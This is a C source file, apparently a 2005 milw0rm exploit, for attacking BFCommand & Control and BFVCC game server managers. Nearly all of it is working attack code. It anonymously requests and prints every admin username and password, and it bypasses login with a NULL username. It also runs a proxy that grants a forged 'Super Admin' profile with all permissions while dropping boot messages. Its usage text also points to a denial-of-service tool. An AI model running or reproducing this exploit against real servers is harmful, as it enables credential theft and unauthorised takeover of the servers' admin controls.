486 lines
No EOL
15 KiB
C
486 lines
No EOL
15 KiB
C
/*
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by Luigi Auriemma
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http://aluigi.altervista.org/fakep/tcpfp.zip
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <stdarg.h>
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#ifdef WIN32
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#include <winsock.h>
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/*
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Header file used for manage errors in Windows
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It support socket and errno too
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(this header replace the previous sock_errX.h)
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*/
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#include <string.h>
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#include <errno.h>
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void std_err(void) {
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char *error;
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switch(WSAGetLastError()) {
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case 10004: error = "Interrupted system call"; break;
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case 10009: error = "Bad file number"; break;
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case 10013: error = "Permission denied"; break;
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case 10014: error = "Bad address"; break;
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case 10022: error = "Invalid argument (not bind)"; break;
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case 10024: error = "Too many open files"; break;
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case 10035: error = "Operation would block"; break;
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case 10036: error = "Operation now in progress"; break;
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case 10037: error = "Operation already in progress"; break;
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case 10038: error = "Socket operation on non-socket"; break;
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case 10039: error = "Destination address required"; break;
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case 10040: error = "Message too long"; break;
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case 10041: error = "Protocol wrong type for socket"; break;
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case 10042: error = "Bad protocol option"; break;
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case 10043: error = "Protocol not supported"; break;
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case 10044: error = "Socket type not supported"; break;
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case 10045: error = "Operation not supported on socket"; break;
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case 10046: error = "Protocol family not supported"; break;
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case 10047: error = "Address family not supported by protocol family"; break;
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case 10048: error = "Address already in use"; break;
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case 10049: error = "Can't assign requested address"; break;
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case 10050: error = "Network is down"; break;
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case 10051: error = "Network is unreachable"; break;
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case 10052: error = "Net dropped connection or reset"; break;
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case 10053: error = "Software caused connection abort"; break;
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case 10054: error = "Connection reset by peer"; break;
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case 10055: error = "No buffer space available"; break;
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case 10056: error = "Socket is already connected"; break;
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case 10057: error = "Socket is not connected"; break;
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case 10058: error = "Can't send after socket shutdown"; break;
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case 10059: error = "Too many references, can't splice"; break;
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case 10060: error = "Connection timed out"; break;
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case 10061: error = "Connection refused"; break;
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case 10062: error = "Too many levels of symbolic links"; break;
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case 10063: error = "File name too long"; break;
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case 10064: error = "Host is down"; break;
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case 10065: error = "No Route to Host"; break;
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case 10066: error = "Directory not empty"; break;
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case 10067: error = "Too many processes"; break;
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case 10068: error = "Too many users"; break;
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case 10069: error = "Disc Quota Exceeded"; break;
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case 10070: error = "Stale NFS file handle"; break;
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case 10091: error = "Network SubSystem is unavailable"; break;
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case 10092: error = "WINSOCK DLL Version out of range"; break;
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case 10093: error = "Successful WSASTARTUP not yet performed"; break;
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case 10071: error = "Too many levels of remote in path"; break;
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case 11001: error = "Host not found"; break;
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case 11002: error = "Non-Authoritative Host not found"; break;
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case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
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case 11004: error = "Valid name, no data record of requested type"; break;
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default: error = strerror(errno); break;
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}
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fprintf(stderr, "\nError: %s\n", error);
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exit(1);
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}
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// inserted winerr.h /str0ke
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#define close closesocket
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#else
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#include <unistd.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <arpa/inet.h>
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#include <netinet/in.h>
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#include <netdb.h>
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#endif
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#define VER "0.1"
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#define PORT 5555
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#define MYPORT 3333
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#define BUFFSZ 8192
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#define DEL 0x1e
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#define END "\x00\x40\x40\x00"
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void proxy(int sock, u_char *buff, int size);
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int check_drop(u_char *data);
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void show_bfcc(u_char *buff, int len);
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void send_bfcc(int sock, ...);
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int recv_bfcc(int sock, u_char *buff, int size);
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u_int resolv(char *host);
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void std_err(void);
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int main(int argc, char *argv[]) {
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struct sockaddr_in peer;
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int sd,
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len,
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attack,
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scan = 3;
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u_short port = PORT;
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u_char buff[BUFFSZ];
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#ifdef WIN32
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WSADATA wsadata;
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WSAStartup(MAKEWORD(1,0), &wsadata);
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#endif
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setbuf(stdout, NULL);
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fputs("\n"
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"BFCommand & Control login bypass "VER"\n"
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" BFCC <= 1.22_A\n"
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" BFVCC <= 2.14_B\n"
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" BFVCCDaemon is NOT vulnerable\n"
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"by Luigi Auriemma\n"
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"e-mail: aluigi@autistici.org\n"
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"web: http://aluigi.altervista.org\n"
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"\n", stdout);
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if(argc < 3) {
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printf("\n"
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"Usage: %s <attack> <host> [port(%hu)]\n"
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"\n"
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"Attack:\n"
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" 1 = passwords stoler, sends the GetUserAccounts anonymously and gets all the\n"
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" usernames and passwords in the server manager (bug A)\n"
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" 2 = checks if is possible to bypass the login using a NULL username (bug B)\n"
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" 3 = proxy server to use with BFC3 and BFVC3 clients which grants access to any\n"
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" vulnerable server in total anonymity and unbootable (bug A and C)\n"
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" 4 = explanation of how test bug D, server full forever\n"
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"\n"
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" Note: The default port of BFCC is 4555 while is 5555 for BFVCC (default)\n"
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" This tool has been written to be compatible with BFVCC so only attack 1\n"
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" and 4 can be used with success versus BFCC using this specific tool\n"
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"\n", argv[0], port);
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exit(1);
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}
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attack = atoi(argv[1]);
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if((attack < 1) || (attack > 4)) {
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fputs("\nError: you must choose a number between the range of available attacks\n\n", stdout);
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exit(1);
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}
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if(attack == 4) {
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fputs("\n"
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"Download the tool \"Generic TCP Fake Players DoS\" from here:\n"
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"\n"
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" http://aluigi.altervista.org/fakep/tcpfp.zip\n"
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"\n"
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"Launch it with the following arguments\n"
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"\n"
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" tcpfp -r full 127.0.0.1 5555\n"
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"\n"
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"substituiting 127.0.0.1 and 5555 with the server and port of the server you\n"
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"want to test.\n"
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"\n", stdout);
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return(0);
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}
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if(argc > 3) port = atoi(argv[3]);
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peer.sin_addr.s_addr = resolv(argv[2]);
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peer.sin_port = htons(port);
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peer.sin_family = AF_INET;
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sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
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if(sd < 0) std_err();
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while(scan--) {
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printf("- target %s : %hu\n",
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inet_ntoa(peer.sin_addr), port);
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len = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
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if(!len) break;
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fputs(" no service available on this port\n", stdout);
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peer.sin_port = htons(++port);
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}
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if(len < 0) std_err();
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if(attack == 1) {
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fputs("- receive server's informations:\n", stdout);
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len = recv_bfcc(sd, buff, BUFFSZ);
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show_bfcc(buff, len);
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fputs("- send anonymous GetUserAccounts commands\n", stdout);
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send_bfcc(sd, "GetUserAccounts", NULL);
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fputs(
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"- receive full list of admin usernames and passwords\n"
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" Username Password:\n", stdout);
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len = recv_bfcc(sd, buff, BUFFSZ);
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show_bfcc(buff, len);
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} else if(attack == 2) {
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fputs("- receive server's informations:\n", stdout);
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len = recv_bfcc(sd, buff, BUFFSZ);
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show_bfcc(buff, len);
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fputs("- send login command with NULL nickname\n", stdout);
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send_bfcc(sd,
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"login",
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"\0", // BUG exploited here
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"password",
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"username",
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"???",
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"",
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NULL);
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fputs("- check for success message:\n", stdout);
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len = recv_bfcc(sd, buff, BUFFSZ);
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show_bfcc(buff, len);
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} else if(attack == 3) {
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proxy(sd, buff, BUFFSZ);
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}
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close(sd);
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free(buff);
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return(0);
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}
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void proxy(int sock, u_char *buff, int size) {
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struct sockaddr_in peer;
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fd_set readset;
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int sdl,
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sda,
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on = 1,
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len,
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psz,
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selsock;
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peer.sin_addr.s_addr = INADDR_ANY;
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peer.sin_port = htons(MYPORT);
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peer.sin_family = AF_INET;
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psz = sizeof(peer);
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printf("- bind port %hu\n", MYPORT);
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sdl = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
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if(sdl < 0) std_err();
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if(setsockopt(sdl, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
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< 0) std_err();
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if(bind(sdl, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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if(listen(sdl, SOMAXCONN)
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< 0) std_err();
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printf("- launch BFC3 or BFVC3 and sets %s as server and %hu as port\n",
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"127.0.0.1", MYPORT);
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sda = accept(sdl, (struct sockaddr *)&peer, &psz);
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if(sda < 0) std_err();
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printf("- connected\n");
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send_bfcc(sda, // enable everything
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"master",
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"null/null/null/0/Map_True/"
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"Action-Warn" "\xff" "1" "\xff"
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"Action-Kick" "\xff" "1" "\xff"
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"Action-Insta-Kick (No Reason)" "\xff" "1" "\xff"
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"Action-Ban" "\xff" "1" "\xff"
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"Action-Insta-Ban (No Reason)" "\xff" "1" "\xff"
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"Action-Remove Ban" "\xff" "1" "\xff"
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"Action-Clear Banlist" "\xff" "1" "\xff"
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"Action-Force to Other Team" "\xff" "1" "\xff"
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"Action-Kill Player" "\xff" "1" "\xff"
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"Action-Send Message to Server" "\xff" "1" "\xff"
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"Game-Pause" "\xff" "1" "\xff"
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"Game-Toggle Auto-Balance" "\xff" "1" "\xff"
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"Action-Request PB Screenshot" "\xff" "1" "\xff"
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"BFVC3-Maps Change Maps" "\xff" "1" "\xff"
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"BFVC3-Maps Change 2 Map NOT in " "\xff" "1" "\xff"
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"BFVC3-Maps Restart Map" "\xff" "1" "\xff"
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"BFVC3-Maps Set Next Map" "\xff" "1" "\xff"
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"BFVC3-Admin Change Server Settings" "\xff" "1" "\xff"
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"BFVC3-Admin Change FF Settings" "\xff" "1" "\xff"
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"BFVC3-Admin Change Misc Settings" "\xff" "1" "\xff"
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"BFVC3-Admin Change Voting Settings" "\xff" "1" "\xff"
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"USERS-Access User Accounts" "\xff" "1" "\xff"
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"USERS-Edit User Profiles" "\xff" "1" "\xff"
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"USERS-Create User" "\xff" "1" "\xff"
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"USERS-Edit User" "\xff" "1" "\xff"
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"USERS-Delete User" "\xff" "1" "\xff"
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"BFVCC-Access Manager Control Panel" "\xff" "1" "\xff"
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"BFVCC-Access to Auto Admin Settings" "\xff" "1" "\xff"
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"BFVCC-Load Manager Profiles" "\xff" "1" "\xff"
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"BFVCC-Save Changes to Profiles" "\xff" "1" "\xff"
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"BFVCC-Create Manager Profiles" "\xff" "1" "\xff"
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"BFVCC-Delete Manager Profiles" "\xff" "1" "\xff"
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"CC-Access the CC Editor" "\xff" "1" "\xff"
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"CC-Save Changes to CC Profiles" "\xff" "1" "\xff"
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"CC-Create new CC Profiles" "\xff" "1" "\xff"
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"CC-Delete CC Profile" "\xff" "1" "\xff"
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"CC-Change a Maps CC Profile" "\xff" "1" "\xff"
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"PB-Edit PB Config Files" "\xff" "1" "\xff",
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"15567", // default server port (useless)
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"admin" "\xff", // username (useless)
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"True",
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"Super Admin", // profile
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"0",
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NULL);
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selsock = ((sock > sda) ? sock : sda) + 1;
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for(;;) {
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FD_ZERO(&readset);
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FD_SET(sock, &readset);
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FD_SET(sda, &readset);
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if(select(selsock, &readset, NULL, NULL, NULL)
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< 0) std_err();
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if(FD_ISSET(sda, &readset)) {
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len = recv_bfcc(sda, buff, size);
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fwrite(buff, len, 1, stdout);
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if(check_drop(buff)) continue;
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len = send(sock, buff, len, 0);
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if(len < 0) std_err();
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}
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if(FD_ISSET(sock, &readset)) {
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len = recv_bfcc(sock, buff, size);
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fwrite(buff, len, 1, stdout);
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if(check_drop(buff)) continue;
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len = send(sda, buff, len, 0);
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if(len < 0) std_err();
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}
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}
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close(sda);
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close(sdl);
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}
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int check_drop(u_char *cmd) {
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int i;
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u_char *p,
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*drop[] = {
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"login",
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"Boot",
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"loginfailed",
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NULL
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};
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p = strchr(cmd, DEL);
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if(!p) {
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p = strchr(cmd, END[0]);
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if(!p) return(0);
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}
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for(i = 0; drop[i]; i++) {
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if(!strncmp(cmd, drop[i], p - cmd)) return(1);
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}
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return(0);
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}
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void show_bfcc(u_char *buff, int len) {
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u_char *p,
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*l,
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*limit = buff + len;
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for(p = buff; p < limit; p = l + 1) {
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for(l = p; *l != DEL; l++) {
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if(!memcmp(l, END, 4)) return;
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if(!memcmp(l, "|;|", 3)) {
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if(*(l - 1) == '\t') *(l - 1) = ' ';
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memcpy(l, "\n ", 3);
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}
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}
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*l = 0;
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printf(" %s\n", p);
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}
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}
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void send_bfcc(int sock, ...) { // final NULL required
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va_list ap;
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int len;
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u_char *s;
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va_start(ap, sock);
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s = va_arg(ap, u_char *);
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if(s) {
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for(;;) {
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len = strlen(s);
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if(!len) len++;
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send(sock, s, len, 0);
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s = va_arg(ap, u_char *);
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if(!s) break;
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send(sock, "\x1e", 1, 0);
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}
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}
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va_end(ap);
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send(sock, END, 4, 0);
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}
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int recv_bfcc(int sock, u_char *buff, int size) {
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int len = 0;
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// one command at time, slower but better
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while(len < size) {
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if(recv(sock, buff + len, 1, 0) <= 0) {
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fputs("\nError: connection interrupted\n\n", stdout);
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exit(1);
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}
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len++;
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if(!memcmp(buff + len - 4, END, 4)) break;
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}
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if(len == size) {
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fputs("\nError: command too long\n\n", stdout);
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exit(1);
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}
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return(len);
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}
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u_int resolv(char *host) {
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struct hostent *hp;
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u_int host_ip;
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host_ip = inet_addr(host);
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if(host_ip == INADDR_NONE) {
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hp = gethostbyname(host);
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if(!hp) {
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printf("\nError: Unable to resolve hostname (%s)\n", host);
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exit(1);
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} else host_ip = *(u_int *)(hp->h_addr);
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}
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return(host_ip);
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}
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#ifndef WIN32
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void std_err(void) {
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perror("\nError");
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exit(1);
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}
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#endif
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// milw0rm.com [2005-08-29]
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